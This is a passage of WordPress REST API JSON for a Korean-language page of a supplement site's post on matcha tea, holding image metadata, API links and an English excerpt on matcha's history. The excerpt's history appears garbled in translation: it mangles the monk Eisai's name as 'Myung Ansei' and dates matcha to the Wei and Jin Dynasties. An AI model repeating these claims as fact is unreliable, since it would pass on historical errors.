12\/Do-you-know-the-top-ten-benefits-of-matcha-tea.jpg",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-300x300.jpg",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-600x341.jpg",600,341,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Do-you-know-the-top-ten-benefits-of-matcha-tea-100x100.jpg",100,100,true]},"post_excerpt_stackable":"<p>\u201cIt is famous that a Japanese monk named Myung Ansei came to China in pursuit of green tea. He realized that drinking matcha before zazen would provide sustained concentration, so he popularized it in Japan.\u201d Said Asako Miyashita, a registered dietitian and certified dietitian in New York State. Matcha, originated in the Wei and Jin Dynasties of China, is a practice of collecting tender tea leaves in the spring, steaming them green, and making cake tea (that is, group tea) for preservation. Wait until it is eaten, first bake the cake tea on the fire to dry, and then grind&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ko\/category\/\uc5c5\uacc4-\ub3d9\ud5a5\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ko\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7262"}],"collection":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/comments?post=7262"}],"version-history":[{"count":2,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7262\/revisions"}],"predecessor-version":[{"id":9470,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7262\/revisions\/9470"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media\/4042"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media?parent=7262"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/categories?post=7262"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/tags?post=7262"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}